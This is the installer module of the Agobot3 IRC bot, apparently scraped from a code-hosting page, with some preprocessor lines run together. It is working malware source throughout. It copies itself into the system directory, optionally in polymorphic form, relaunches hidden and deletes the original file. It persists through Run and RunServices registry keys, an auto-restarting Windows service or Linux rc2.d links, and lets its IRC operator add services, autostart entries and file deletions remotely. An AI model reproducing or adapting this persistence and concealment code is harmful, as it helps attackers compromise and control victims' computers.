📄 installer.cpp.svn-base
字号:
/* Agobot3 - a modular IRC bot for Win32 / Linux
Copyright (C) 2003 Ago
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
#include "main.h"
#include "installer.h"
#include "mainctrl.h"
void CInstaller::Init() {
#ifdef WIN32
REGCMD(m_cmdAsAdd, "inst.asadd", "adds an autostart entry", false, this);
REGCMD(m_cmdAsDel, "inst.asdel", "deletes an autostart entry", false, this);
REGCMD(m_cmdSvcAdd, "inst.svcadd", "adds a service to scm", false, this);
REGCMD(m_cmdSvcDel, "inst.svcdel", "deletes a service from scm", false, this);
#endif // WIN32
}
#ifdef WIN32
RSP fRegisterServiceProcess;
CT32S fCreateToolhelp32Snapshot;
P32F fProcess32First;
P32N fProcess32Next;
HANDLE psnap;
PROCESSENTRY32 pe32;
#endif // WIN32
int GetCopies(CString &sFilename)
{#ifdef WIN32
char cFilename[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), cFilename, sizeof(cFilename));
if(fCreateToolhelp32Snapshot && fProcess32First && fProcess32Next)
{ psnap=fCreateToolhelp32Snapshot(2, 0);
if(psnap!=INVALID_HANDLE_VALUE)
{ int copies=0; pe32.dwSize=sizeof(PROCESSENTRY32);
if(fProcess32First(psnap, &pe32))
{ do { if((strncmp(cFilename+(strlen(cFilename)-strlen(pe32.szExeFile)), \
pe32.szExeFile, strlen(pe32.szExeFile))==0) || \
(strncmp(sFilename, pe32.szExeFile, strlen(pe32.szExeFile))==0))
copies++;
} while(fProcess32Next(psnap, &pe32)); }
CloseHandle(psnap);
return copies; }
else return 0; }
else return 0;#else char szCmdBuf[4096]; sprintf(szCmdBuf, "ps ax | grep %s | grep -v grep > psaxtemp", sFilename.CStr()); system(szCmdBuf); FILE *fp=fopen("psaxtemp", "r"); if(!fp) return 0; fseek(fp, 0, SEEK_END); long lFileSize=ftell(fp); fseek(fp, 0, SEEK_SET); if(lFileSize>0) return 1; fclose(fp); system("rm -f psaxtemp"); return 0;#endif // WIN32}
bool CInstaller::CopyToSysDir(CString &sFilename)
{
char tstr[MAX_PATH];
#ifdef WIN32
CString sysdir; GetSystemDirectory(sysdir.GetBuffer(MAX_PATH), MAX_PATH);
m_sSysDir.Assign(sysdir.CStr());
CString cfilename; GetModuleFileName(GetModuleHandle(NULL), cfilename.GetBuffer(MAX_PATH), MAX_PATH);
HINSTANCE kernel32_dll=LoadLibrary("kernel32.dll");
if(kernel32_dll)
{ fRegisterServiceProcess=(RSP)GetProcAddress(kernel32_dll, "RegisterServiceProcess");
fCreateToolhelp32Snapshot=(CT32S)GetProcAddress(kernel32_dll, "CreateToolhelp32Snapshot");
fProcess32First=(P32F)GetProcAddress(kernel32_dll, "Process32First");
fProcess32Next=(P32N)GetProcAddress(kernel32_dll, "Process32Next");
if(fRegisterServiceProcess) fRegisterServiceProcess(0, 1); }
#else m_sSysDir.Assign("/usr/sbin"); CString sysdir(m_sSysDir); CString cfilename(g_pMainCtrl->m_sArgv0);#endif // WIN32
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "Checking for multiple copies...\n");
#endif // DBGCONSOLE
if(!g_pMainCtrl->m_cCmdLine.m_cConfig.bUpdate && !g_pMainCtrl->m_cCmdLine.m_cConfig.bService)
{
unsigned long lStartTime=GetTickCount(); bool bFound=true;
while((GetTickCount()-lStartTime) < 60000 && bFound)
{ if(GetCopies(sFilename)<2) bFound=false; Sleep(1000);
}
if(bFound) {
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "Found 2 copies, exiting...\n");
#endif // DBGCONSOLE
exit(1); }
}
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "First copy running...\n");
#endif // DBGCONSOLE
long lTimeoutStart;
if(!cfilename.Find(sFilename.CStr(), 0))
if(g_pMainCtrl->m_cCmdLine.m_cConfig.bUpdate)
KillProcess(sFilename.CStr());
if(!cfilename.Find(sysdir, 0) || cfilename.Find("winhlpp32.exe", 0))
#ifdef LINUX if(!cfilename.Find(sFilename, 0))#endif // LINUX
{ sprintf(tstr, "%s%c%s", sysdir.CStr(), DIRCHAR, sFilename.CStr());
lTimeoutStart=GetTickCount();
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "Trying to copy to system directory...\n");
#endif // DBGCONSOLE
// FIXME::BAD!!!#ifdef WIN32
if(g_pMainCtrl->m_cBot.inst_polymorph.bValue) { // Polymorph here
if(!g_pMainCtrl->m_cPolymorph.DoPolymorph(cfilename, tstr))
{ // Fall back to copying if this didnt work
while(CopyFile(cfilename, tstr, false)==false &&
GetTickCount()-lTimeoutStart < 25000) Sleep(2000); }
} else {
// Without Polymorph
while(CopyFile(cfilename, tstr, false)==false &&
GetTickCount()-lTimeoutStart < 25000) Sleep(2000);
}
#else char szCmdBuf[MAX_PATH]; sprintf(szCmdBuf, "cp %s %s", cfilename.CStr(), tstr); system(szCmdBuf);#endif // WIN32#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "Finished copying to system directory...\n");
#endif // DBGCONSOLE
#ifndef _DEBUG
#ifdef DBGCONSOLE
g_pMainCtrl->m_cConsDbg.Log(5, "Starting new process...\n");
#endif // DBGCONSOLE
if(g_pMainCtrl->m_cBot.bot_meltserver.bValue) {
strncat(tstr, " -meltserver \"", sizeof(tstr));
strncat(tstr, cfilename.CStr(), sizeof(tstr));
strncat(tstr, "\"", sizeof(tstr));
}
#ifdef WIN32 PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(STARTUPINFO));
sinfo.cb = sizeof(sinfo); sinfo.wShowWindow = SW_HIDE;
if(CreateProcess(NULL, tstr, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) {
exit(0); }
#else sprintf(szCmdBuf, "%s 2>&1 > /dev/null 2>&1 &", tstr); system(szCmdBuf);
exit(0);#endif // WIN32#endif // _DEBUG }
return true;
}
bool CInstaller::Install()
{ if(g_pMainCtrl->m_cCmdLine.m_cConfig.bMeltServer)
DeleteFile(g_pMainCtrl->m_cCmdLine.m_cConfig.szOldServer);
// Add hosts to the hosts file
#ifdef _WIN32
AddHosts();
#else int iDistro=GetDistro(); char *szRC2Path=NULL; switch(iDistro) { case LINUX_TYPE_SUSE: szRC2Path="/etc/rc.d/rc2.d"; break; case LINUX_TYPE_REDHAT: case LINUX_TYPE_DEBIAN: default: szRC2Path="/etc/rc2.d"; break; } if(szRC2Path) { // Add bot autostart here CString sFileName("/usr/sbin/"), sCmdBuf, sRCFileName(szRC2Path); sFileName.Append(g_pMainCtrl->m_cBot.bot_filename.sValue.CStr()); sRCFileName.Append("/S99"); sRCFileName.Append(g_pMainCtrl->m_cBot.bot_filename.sValue.CStr()); DeleteFile(sRCFileName.CStr()); sCmdBuf.Format("ln -s %s %s", sFileName.CStr(), sRCFileName.CStr()); system(sCmdBuf.CStr()); }#endif // _WIN32
return true; }
bool CInstaller::Uninstall()
{
#ifdef WIN32
/*
HANDLE f; DWORD r;
PROCESS_INFORMATION pinfo; STARTUPINFO sinfo;
char cmdline[MAX_PATH]; char tcmdline[MAX_PATH]; char cfilename[MAX_PATH];
char batfile[MAX_PATH]; char tempdir[MAX_PATH];
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
GetTempPath(sizeof(tempdir), tempdir);
sprintf(batfile, "%s\\r.bat", tempdir);
f = CreateFile(batfile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, 0);
if (f > (HANDLE)0) {
// write a batch file to remove our executable once we close
WriteFile(f, "@echo off\r\n"
":start\r\nif not exist \"\"%1\"\" goto done\r\n"
"del /F \"\"%1\"\"\r\n"
"del \"\"%1\"\"\r\n"
"goto start\r\n"
":done\r\n"
"del /F %temp%\r.bat\r\n"
"del %temp%\r.bat\r\n", 105, &r, NULL);
CloseHandle(f);
memset(&sinfo, 0, sizeof(STARTUPINFO));
sinfo.cb = sizeof(sinfo);
sinfo.wShowWindow = SW_HIDE;
GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));// get our file name
sprintf(tcmdline, "%%comspec%% /c %s %s", batfile, cfilename); // build command line
ExpandEnvironmentStrings(tcmdline, cmdline, sizeof(cmdline)); // put the name of the command interpreter into the command line
// execute the batch file
CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo);
*/
exit(1);
#else
// Linux int iDistro=GetDistro(); char *szRC2Path=NULL; switch(iDistro) { case LINUX_TYPE_SUSE: szRC2Path="/etc/rc.d/rc2.d"; break; case LINUX_TYPE_REDHAT: case LINUX_TYPE_DEBIAN: default: szRC2Path="/etc/rc2.d"; break; } if(szRC2Path) { // Delete bot autostart here CString sRCFileName(szRC2Path); sRCFileName.Append("/S99"); sRCFileName.Append(g_pMainCtrl->m_cBot.bot_filename.sValue.CStr()); DeleteFile(sRCFileName.CStr()); } exit(1);
#endif // WIN32 return true;
}
#ifdef WIN32
bool CInstaller::RegStartAdd(CString &sValuename, CString &sFilename) {
// Fail if the hash check failed
if(g_pMainCtrl->m_bHashCheckFailed) return false;
HKEY key;
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
RegSetValueEx(key, sValuename.CStr(), 0, REG_SZ, (LPBYTE)(const char *)sFilename.CStr(), (DWORD)strlen(sFilename));
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
RegSetValueEx(key, sValuename.CStr(), 0, REG_SZ, (LPBYTE)(const char *)sFilename.CStr(), (DWORD)strlen(sFilename));
RegCloseKey(key);
return true; }
bool CInstaller::RegStartDel(CString &sValuename) {
HKEY key;
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
RegDeleteValue(key, sValuename.CStr());
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
RegDeleteValue(key, sValuename.CStr());
RegCloseKey(key);
return true; }
bool CInstaller::ServiceAdd(CString &sServicename, CString &sFilename) {
// Fail if the hash check failed
if(g_pMainCtrl->m_bHashCheckFailed) return false;
CString sysdir; GetSystemDirectory(sysdir.GetBuffer(MAX_PATH), MAX_PATH);
CString sSvcCmd; sSvcCmd.Format("%s\\%s", sysdir.CStr(), sFilename.CStr());
CString sSvcParams; sSvcParams.Format("-service");
return ServiceAddInt(sServicename, sSvcCmd, sSvcParams); }
bool CInstaller::ServiceAddInt(CString &sServicename, CString &sFilename, CString &sParams) {
SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(!hServiceControl) return false;
CString sSvcCmd; sSvcCmd.Format("\"%s\" %s", sFilename.CStr(), sParams.CStr());
SC_HANDLE hService=CreateService(hServiceControl, sServicename.CStr(),
g_pMainCtrl->m_cBot.as_valname.sValue.CStr(), SERVICE_ALL_ACCESS, \
SERVICE_WIN32_SHARE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, \
sSvcCmd.CStr(), NULL, NULL, NULL, NULL, NULL);
if(!hService) {
DWORD dwError=GetLastError();
if(dwError==ERROR_SERVICE_EXISTS) {
ServiceDel(sServicename); CloseServiceHandle(hService);
CloseServiceHandle(hServiceControl);
return ServiceAdd(sServicename, sFilename);
} else {
CloseServiceHandle(hServiceControl); return false; }
}
SC_ACTION scActions[1]; scActions[0].Delay=1; scActions[0].Type=SC_ACTION_RESTART;
SERVICE_FAILURE_ACTIONS sfActions; sfActions.dwResetPeriod=INFINITE; sfActions.lpRebootMsg=NULL;
sfActions.lpCommand=NULL; sfActions.cActions=1; sfActions.lpsaActions=scActions;
if(!ChangeServiceConfig2(hService, SERVICE_CONFIG_FAILURE_ACTIONS, &sfActions)) {
CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return false;
}
CloseServiceHandle(hService); CloseServiceHandle(hServiceControl); return true;
}
bool CInstaller::IsInstalled(CString &sServicename) {
SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(!hServiceControl) return false;
SC_HANDLE hService=OpenService(hServiceControl, sServicename.CStr(), SERVICE_ALL_ACCESS);
if(!hService) { CloseServiceHandle(hServiceControl); return false; }
CloseServiceHandle(hService); CloseServiceHandle(hServiceControl);
return true;
}
bool CInstaller::ServiceStart(CString &sServicename) {
SC_HANDLE hServiceControl=OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(!hServiceControl) return false;
SC_HANDLE hService=OpenService(hServiceControl, sServicename.CStr(), SERVICE_ALL_ACCESS);
if(!hService) { CloseServiceHandle(hServiceControl); return false; }
StartService(hService, 0, NULL);
CloseServiceHandle(hService); CloseServiceHandle(hServiceControl);
/* CString sCmdBuf; sCmdBuf.Format("net start %s", sServicename.CStr());
system(sCmdBuf.CStr());*/
return true;
}
#endif // WIN32
bool CInstaller::HandleCommand(CMessage *pMsg) {
#ifdef WIN32
if(!pMsg->sCmd.Compare("inst.asadd")) {
CString sValue=pMsg->sChatString.Token(1, " ", true);
CString sFile=pMsg->sChatString.Token(2, " ", true);
if(RegStartAdd(sValue, sFile))
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"Added registry autostart value \"%s\" as \"%s\".", sValue.CStr(), sFile.CStr());
return true; }
else if(!pMsg->sCmd.Compare("inst.asdel")) {
CString sValue=pMsg->sChatString.Token(1, " ", true);
if(RegStartDel(sValue))
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"Deleted registry autostart value \"%s\".", sValue.CStr());
return true; }
else if(!pMsg->sCmd.Compare("inst.svcadd")) {
CString sService=pMsg->sChatString.Token(1, " ", true);
CString sFile=pMsg->sChatString.Token(2, " ", true);
CString sParams=pMsg->sChatString.Token(3, " ", true);
if(ServiceAddInt(sService, sFile, sParams))
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"Added service with name \"%s\" as \"\"%s\" %s\".", sService.CStr(), sFile.CStr(), sParams.CStr());
return true; }
else if(!pMsg->sCmd.Compare("inst.svcdel")) {
CString sService=pMsg->sChatString.Token(1, " ", true);
if(ServiceDel(sService))
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"Deleted service with name \"%s\".", sService.CStr());
return true; }
else if(!pMsg->sCmd.Compare("file.del")) {
CString sFile=pMsg->sChatString.Token(1, " ", true);
if(DeleteFile(sFile))
g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
"File deleted: \"%s\".", sFile.CStr());
return true; }
#endif // WIN32
return false;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -